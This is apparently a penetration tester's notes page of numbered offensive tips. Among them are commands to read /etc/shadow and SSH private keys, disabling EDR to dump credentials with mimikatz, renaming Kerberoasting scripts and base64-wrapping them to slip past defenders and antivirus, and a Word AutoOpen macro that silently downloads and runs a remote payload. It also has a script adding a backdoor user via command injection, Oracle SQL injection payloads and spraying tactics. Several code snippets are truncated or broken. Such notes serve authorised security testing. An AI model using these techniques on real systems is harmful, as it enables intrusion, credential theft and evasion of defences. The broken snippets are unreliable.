Random notes on Penetration Testing

This page is a work in progress and it aims to become a collection of tips and operational notes around penetration testing with main focus on how to amplify the impact of findings during security assessments. The knowledge can be expanded to red teaming/simulated attack operations as well.


The page contains the following sections/tips:

Note #1: Local File Inclusion (LFI) via web application on a Linux server

While testing a web application, you have identified a local file inclusion vulnerability. Congrats! It’s worth taking a note on whether you got this while authenticated or unauthenticated as it will affect the impact.

Usually it all begins with inclusion of the file /etc/passwd. Check if it’s possible to include /etc/shadow as well. Successful inclusion would indicate that the application runs in the context of a high privileged user acocunt or that this user account has access rights to resources otherwise accessible only by high privileged user accounts.

The file /etc/passwd gives a nice list of the available user accounts. Pick out accounts that have a shell (for example /bin/bash) and begin searching for files in their home directories (the home directory can too be retrieved from /etc/shadow).

Assuming you’re looking into user account webapp. Try then to include the file /home/webapp/.ssh/id_rsa. You got it? Bingo! Check /home/webapp/.ssh/id_rsa.pub and then /home/webapp/.ssh/authorized_keys. If the public key you retrieved is in the authorized_keys and the server runs the ssh service, acquire the private key and ssh to the host. If everything goes well, you get a shell! $ On a Tomcat server, you may not be able to include anything outside of directory WEB-INF but you can try /WEB-INF/web.xml which may contain additional pages and in the end web.xml will act - in a way - as an indirect file listing, revealing additional pages potentially exposed.

Useful files to include:


Note #2: Command execution via web application on a Linux server

While testing a web application, you have achieved command execution on the underlying Linux server. Congrats! Take a note on whether you achieved this while authenticated or unauthenticated.

Identify under which user account you’re running commands by issuing whoami. Identifty user’s home directory by opening the /etc/passwd file cat /etc/passwd. If the identified user is webapp and the associated home directory is /home/webapp, list the files by ls /home/webapp. If a private key does exists there, get it try to connect to the host if ssh is enabled.

Useful commands:

cat /etc/passwd
cat /etc/shadow
cat /home/<username>/.ssh/id_rsa
cat /home/<username>/.ssh/id_dsa
cat /home/<username>/.ssh/id_ecdsa
cat /home/<username>/.ssh/id_ed25519
cat /home/<username>/.ssh/id_rsa.pub
cat /home/<username>/.ssh/authorized_keys
cat /home/<username>/.ssh/config

Note #3: Pentesting Apache Tomcat

While testing a web server you identify an Apache Tomcat (for example on HTTP headers coming from the server or verbose error pages that reveal software version). Then, one of your tools identifies the page /manager/html, the Apache Tomcat manager interface.

An attack path in this case would be to brute force the credentials for the manager interface and deploy a malicious module.

Useful Metasploit modules to consider:

exploit/multi/http/tomcat_mgr_deploy	# makes a HTTP PUT request
exploit/multi/http/tomcat_mgr_upload	# makes a HTTP POST request to /manager/html/upload

Note #4: Leverage Web server or Application server error messages for Cross-Site Scripting

This tip is apparently another edge on a multiple-node graph. While fuzzing the parameters of a web application, for example a JSP web application (that is, an application written in Java) error messages may be generated - and more specifically Java stack traces (see CWE-209). This stack trace may or may not contain the value you provided as input and resulted in the exception. If it does contain the provided input and this input has not been properly validated or sanitzied (see CWE-20), this may become the road to Cross-Site Scripting vulnerabilities (see CWE-79).

The issue does not strictly apply to Java applications but it expands to any application that does not properly sanitize user provided input. Just wanted to make the connection between Java stack tracers and potential XSS vulnerabilities, as this is something that occasionally surfaces during web application testing.

Note #5: Sign a JWT made quick and easy

If you are looking for a quick and easy way to create a JWKS (JSON Web Key Set) and use it to sign a JWT (JSON Web Token), then the way to go off-the-shel combo worth considering is mkjwk + Cyberchef. The steps consist of creating an encryption key on mkjwk and then taking the private key in PEM format and using it in “JWT Sign” Cyberchef functionality. Paste the JWT you want to sign and ta-da a signed JWT is ready for use!

Note #6: Troubleshooting mimikatz errors

While trying to dump credentials on a host, mimikatz may return an error such as: “ERROR kuhl_m_sekurlsa_acquireLSA; Logon list” instead. This error was seen on a Windows Server 2016. Maneuvering with pypykatz didn’t help as there was again an error. This time it was an “Exception: LSA signature not found!”.

In the end it was the EDR deployed on the host mingling with lsass. By simply disabling the EDR service and using mimikatz again, the team was able to dump the credentials. So, a lesson learnt from this war story is that if following all the steps with mimikatz to dump credentials from a target returns an error, it’s worth checking whether an application is safeguarding lsass.

Note #7: Breaking conventional parent-child process relationship

Suspicious parent-child process relationship is definetely a good indicator of a potential compromise. Think about it. Why would applications such as Internet Explorer, Microsoft Word, Microsoft Excel or Compiled HTML Help files (CHM) spawn as a child process cmd.exe? Those who defend networks may have in place signatures to alert on a relationship like this.

With that said, attackers should be looking for ways to break this conventional parent-child relationship, ideally utilizing native Windows utilities. One of them is forfiles.exe.

With the following command, forfiles creates a new child process:

forfiles /p C:\Windows\System32 /m kernel32.dll /c cmd.exe

So, this a quick trick to “hide” cmd.exe under “forfiles.exe”

Note #8: Exploring alternate routes in networks

When connecting to a client network the first thing is to look around on the same broadcast domain. Tools such as arp-scan or scripts like gateway-finder-imp help identify hosts and gateways respectively in the local broadcast domain. If the number of identified hosts is small or nothing useful comes out of the already identified ones, there are may be additional routes worth exploring.

One such route is the route to the DNS server. All it takes is to first identify the default DNS of the client network using native tools such as nslookup on Windows or dig on Linux environments.

Upon identifying the IP address of the DNS server, the command traceroute may reveal additional hops within the network worth looking at or if nothing else comes up, scan the DNS server itself. There is always the posibility that the DNS is not the only service running on the host. There may be exposed management interfaces, you never know what life brings!

Note #9: Open Source HTTP server projects for data exfiltration

It is often required to demonstrate that data exfiltration is possible from within client networks. The list below references some interesting open source projects that may assist achieve the objective:

Note #10: Bash script to grab SSH banners

Sometimes the SSH (pre-authentication) banners reveal information about the host. For example, it may reveal that the host belongs to a third-party company. This would set the alarm on and get immediately the identified host out of the scoped test. After an initial port scan, the following bash script can be used to gather banners from SSH service:


while IFS= read -r line
        output=$(ssh -o StrictHostKeyChecking=no -o BatchMode=yes -o ConnectTimeout=2 -T root@$line 2>&1)
        if [[ $output != *"Connection timed out"* ]]; then
                echo "Host: $line"
                echo "${output}"
done < "$infile"

The script reads a list of IP addresses line by line and makes an SSH connection to each one. You can run it with the following command:

bash banner.sh ip-list.txt

Note 11: O365 Enumeration

Compared to on-premises Active Directory environments where network access is required in order to conduct reconnaissance (querying domain controllers within the network), the cloud changes the game as the attackers now can authenticate and access an AD environment from the internet.

When conducting reconnaissance on an organization that uses Microsoft O365 the identification of valid user accounts is key information for the engagement. User account identification will give its place to password spraying in order to get initial access to the cloud environment.

In a scenario in which attackers have a list of valid user accounts or want to identify if specific user accounts exist, tools like O365creeper help towards this objective.

Note #12: Run scripts in PowerShell sessions

You got a shell! Well done! Now you are wondering what to do next. Say for example that you want to launch Kerberoasting.

For this we need to first open a PowerShell session that will later allow us run scripts for kerberoasting. This can be done by first importing the script in memory.

Grab the Empire script Invoke-Kerberoast from this link.

Before dropping the script on the target host, make sure to replace any strings that will likely raise flags. Open the script on Visual Studio Code or any other text editor, find and replace all the occurences of the string Invoke-Kerberoast with any word.

A way of blending in the environment would be to mimick administrator activity and to replace suspicious strings with something like UpdateDefender. This could definitely trick the human eye - who would suspect that a PowerShell script named UpdateDefender would probably be a script to do Kerberoasting? After replacing the string, import the script in the PowerShell session (in memory):

PS C:\Windows\Temp> Import-Module .\UpdateDefender.ps1
PS C:\Windows\Temp> . .\UpdateDefender.ps1

Then, all we have to do is to call the function that does the Kerberoasting:

PS C:\Windows\Temp> UpdateDefender

Question to the board: Can this process be made in a single step, in a one-liner fashioned command?

Yes it does, sure it does:

PS C:\Windows\Temp> powershell.exe "Import-Module .\UpdateDefender.ps1; UpdateDefender"
PS C:\Windows\Temp> powershell.exe ". .\UpdateDefender.ps1; UpdateDefender"

Note #13: PowerShell Basic Obfuscation

When a PowerShell script is detected by an AntiVirus we can introduce a layer of obfuscation and move on from there! If a yara rule is specifically looking for the command ‘whoami’ within a PowerShell script, then by encoding this string, any string match is made useless.

For example, the following script executes the command ‘whoami’:

Invoke-Expression $deccommand

For example, grab PowerView from GitHub, base64 encode the script (CyberChef is a handy tool), place the base64 encoded string in $enccommand. The Invoke-Expression loads the script in memory. After the line ‘Invoke-Expression’ type the function you want to call, like ‘Find-DomainShare’.

Note #14: Network Segregation Testing

If tasked to assess segregation on a given network and the ability to run tools to both ends of the communication channel is provided, then a useful tool is TrustedSec’s EgressBuster.

If checking outbound (egress) traffic from a client network to the internet, then a public IP is required. This can be a host on a VPS. On that host the egresslistener will be listening from connections coming from the client network.

In the case of an internal network segregation assessment, egressbuster can be used to show what traffic is allowed between two hosts that reside in different subnets.

Note #15: Active Directory Password Spraying

Assuming an attacker has established foothold within an Active Directory, one of the subsequent actions is to get access to additional user accounts on the lookout for more privileged accounts or accounts that open additional routes to the full compromise of the victim Active Directory.

Tools for password spray in Active Directory environments:

# Exploitation Scenario: try a single password across all the domain user accounts

Tool for hash spray in Active Directory environments:

# Exploitation Scenario: Having identified a local admin account, use the hash of the account and try to authenticate to all computers in the domain

Note #16: On Regular Expressions

Sometimes we are conditioned to search for things by just looking for what we want to match. However, when writing regular expressions the key is to invert the logic and actually search for things we aren’t looking for.

A quick example about this is the following string:


To create the string:


The regular expression: (^[^:]+):.*:([^:]+)::

^ : beginning of the string ([^:]+) : capture group that matches any string that consists of one or more characters and doesn’t contain the character ‘:’

:.*: : any string that begins and ends in ‘:’


Note #17: Apache Reverse Proxy

In specific engagements where the request is to assess if data exfiltration is possible, the way to go is to setup an application that provides uploading functionality. To quickly configure an application (in this case updog) with Apache, follow the steps below:

  1. Install Apache: apt install apache2
  2. Enable Apache proxy modules:

    a2enmod proxy

    a2enmod http_proxy

  3. Change server settings (sites-enabled on Apache) to direct inbound requests to the application:

    ProxyPass / http://localhost:8081/

    ProxyPassReverse / http://localhost:8081/

  4. updog -p 8081

Additionally, a LetsEncrypt certificate can be set using certbot.

Note #18: Check Domain Authentication

Assuming a shell has been acquired on a host, to check whether this shell runs under the context of a domain account a quick and easy way to identify that, is to access a domain resource such as \\<domain>\sysvol.

For example, the following command can be used:

dir \\<domain>\sysvol

Note #19: Check admin access on a host

To check if the user account under the context of which the shell is running has admin access on a host, a quick check to identify this is to access the C$ of that host.

For example, the following command can be used:

dir \\<hostname>\C$

If access to that share is possible, methods such as PSEXEC can be used to laterally move to that host.

Note #20: Basic Macros for fun and research

A basic Macro to fetch a resource and execute it in memory with PowerShell:

Sub AutoOpen()
	Dim container As String
	container = "powershell -NoP -NonI -W Hidden ""('url')|foreach{$fileName=$env:temp+'\'+(Split-Path -Path $_ -Leaf);(new-object System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}"""
	'container = "certutil -urlcache -split -f URL"
	CreateObject("WScript.Shell").Run container, 0
End Sub

To create a Macro open Microsoft Word and navigate to ‘View’ -> ‘Macros’ insert ‘AutoOpen’ in the ‘Macro name’ field, select ‘(document)’ in ‘Macros in’ drop down list and hit the ‘Create’ button. Paste the Macro and save the document as ‘Word 97-2003 Document (*.doc)’.

Reference: https://medium.com/purple-team/phishing-with-a-malicious-macro-file-db2db9605015

Note #21: Add User via Command Injection on Linux

Assuming command injection has been achieved and the commands are executed as root, the following commands will assist in creating a script to add a user to the system:

echo '#!/bin/bash' > scr.sh
echo 'useradd eviluser' >> scr.sh
echo 'echo -e "pass\npass" | passwd eviluser' >> scr.sh

To harden the key-exchange, host-key, encryption and message authentication code algorithms on a SSH server, the tool SSH-Audit is the way to go. Additional hardening guides are available at SSH-Audit.

The recommended settings for the SSH server (file: /etc/ssh/sshd_config)

Ciphers chacha20-poly1305@openssh.com,aes192-ctr,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes128-ctr
MACs umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com
KexAlgorithms diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256,curve25519-sha256,curve25519-sha256@libssh.org
HostKeyAlgorithms rsa-sha2-256,rsa-sha2-512,ssh-ed25519,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521

After adding the above configuration, restart the SSH service using the command:

service sshd restart


systemctl restart sshd

Note #23: Oracle SQL Injection

SQL injections are becoming less and less common, however from time to time it is still a vulnerability identified in web applications or APIs. This note was written to document the process of identifying an error-based SQL injection vulnerability on an API that interacts with an Oracle DB.

The lack of write-ups makes the identification of issues even harder and often people find themselves wondering if a generated SQL error message could lead to exploitation. The following notes shows how the generated Oracle SQL error messages can be utilised to arrive to a functional SQL query and make the injection real.

In the following example requests, it is assumed that the vulnerable parameter “employeeID” within the API method “employee” is identified and targeted.

Original request:

POST /employee HTTP/1.1
Content-Type: application/json
Content-Length: 321


Tools such as Portswigger’s BurpSuite (ActiveScan functionality) are able to initially alert about a potential vulnerability.

How to test for SQL injection? By appending a single quote to the “employeeID” parameter:


The response from Oracle SQL is:

ORA-00917 Missing coma

That likely indicates an INSERT SQL statement.

Following what the error message suggests, add a coma and a closing bracket to see if the statement can be closed:


The response from Oracle SQL is something new:

ORA-00947 Not enough values

Following again what SQL suggests, add another value:


This time a new response:

ORA-00933 SQL command not properly ended

To end the SQL statement, comment whatever is after the closing bracket by:

“employeeID”:”654321’,’’,’’)– -“

The response from Oracle SQL is again something different and a step closer to exploitation:

ORA-01400 Cannot insert NULL into column

From there, the next step is to include select statements in the query. With help from cheatsheets such as this link exploitation is indeed possible:

“employeeID”:”654321’,(select user from dual),(select user from dual))– -“

The above query returns the username of the account under the context of which the queries run and the SQL injection vulnerability is therefore confirmed!

The following URL documents all the error codes returned by Oracle SQL: https://docs.oracle.com/database/121/DRDAS/error_code.htm#DRDAS513

Additional useful documentation on SQL injection in different statements from PortSwigger

Note #24: Call function from unmanaged library in PowerShell

Call MessageBoxEx (User32.dll) from PowerShell:

$typedef = @"
using System;
using System.Runtime.InteropServices;

public class User32{
    public static extern int MessageBoxEx(IntPtr hWnd, string lpText, string lpCaption, uint uType, ushort wLanguageId);

Add-Type $typedef

[User32]::MessageBoxEx(0, "Text Message", "window Title", 0, 0) | Out-Null

Note #25: Credentials in IIS

Domain service account credentials may be located in %SystemRoot%\System32\inetsrv\config\applicationHost.config

useful resource from NetSPI on Decrypting IIS Passwords

Note #26: Windows FileSystemRights Abuse Scenarios

With PowerShell it’s quite easy to read the Access Control List of files and directories (for example using the cmdlet Get-Acl). This note intends to present abuse scenarios for the different access rights available on Windows systems.

The access rights are documented on the link

FileSystemRights Abuse Scenario
AppendData An attacker has the right to append data to the end of the file. For example in a .bat script, the attacker could insert additional commands. If the script is ran under the context of a high privileged account, the attacker could escalate their privileges
FullControl Self-explanatory. The attacker has full control on the file. The attacker could replace the legitimate file with a malicious and achieve code execution
ReadAndExecute An attacker could run scripts or applications that potentially should not be allowed to
TakeOwnership An attacker can change the owner of the file. By changing the owner and making owner themselves the attacker acquires full control of the file

Note #27: Internal domain names registered externally

Draft note.


Note #28: Literature on auditing RPC endpoints

Resources on RPC endpoint auditing

Hardening recommendations

Note #29: Kerberoast etype 3 hashes

On a recent pentest of an Active Directory domain, I ran Rubeus to collect the hashes of all the kerberoastable user accounts.

Rubeus returned a number of TGS hashes in the following formats:

At that time I wasn’t familiar with the hash format, but @m3g9tr0n suggested that this is a Kerberos 5 TGS etype 3 (DES-CBC-MD5) hash. This information is also available at ldapwiki.com. Microsoft recommends customers to remove the DES encryption from user accounts.

@exploitph did further research on the topic, published a post describing this research and added functionality to the tool Rubeus. And yes! It is possible to Kerberoast DES-encrypted hashes and crack these using the hashcat mode 14000.

Note #30: Identify Windows Defender for Identity using DNS

When emulating real-life attackers or assessing the attack surface of a client, it is useful to identify what defensives the client has implemented. By fingerprinting the defenses attackers increase the chances of delivering a succesful attack by crafting payloads spcifically for the defense in use.

Organizations that use Microsoft Defender for Identity - a cloud service formerly known as Windows Advanced Threat Protection - have to explicitly configure the following two domains:

If the domains listed above exist and resolve to an IP, this indicates that the client in uses Windows Defender for Identity. As long as this service is in the cloud, it means that anyone on he internet can query this domains and therefore ascertain if Windows Defender for Identity is in use.

For more information on Windows Defender for Identity see the official documentation.

Note #31: Python HTTP server with TLS certificate

Sometimes it is extremely handy to have a server over TLS to share files, test connectivity or any other scenario that fits your purpose. Python allows to run a webserver with TLS encryption.

Before running the Python script to launch the server, generate the Root Certificate Authority (CA).

Create the private key:

openssl genrsa -out ca-key.pem 2048

Next, generate the Root CA certificate (and associate the certificate with the FQDN of your choice):

openssl req -new -x509 -nodes -days 365 -key ca-key.pem -out ca-cert.crt

The Python script that implements the webserver functionality:

import http.server
import ssl

def srv_func():
	context = ssl.SSLContext(ssl.PROTOCOL_TLS)
	httpd = http.server.HTTPServer(("", 443), http.server.SimpleHTTPRequestHandler)
	httpd.socket = context.wrap_socket(httpd.socket, server_side=True)

if __name__ == '__main__':

Note #32: Python template code for HTTP requests

import urllib.request as requests
import urllib.error as error
from urllib.parse import quote

def main():
        url = ''
        header = {
                'User-Agent': ''
        req = requests.Request(url=url, headers=header, method='GET')
                with requests.urlopen(req) as response:
                        body = response.read()
        except error.HTTPError as err:
                print('[!] Request has failed with status code: %d' % err.code)

        charset = response.headers.get_content_charset()
        if (charset != None):

if __name__ == '__main__':
tags: #random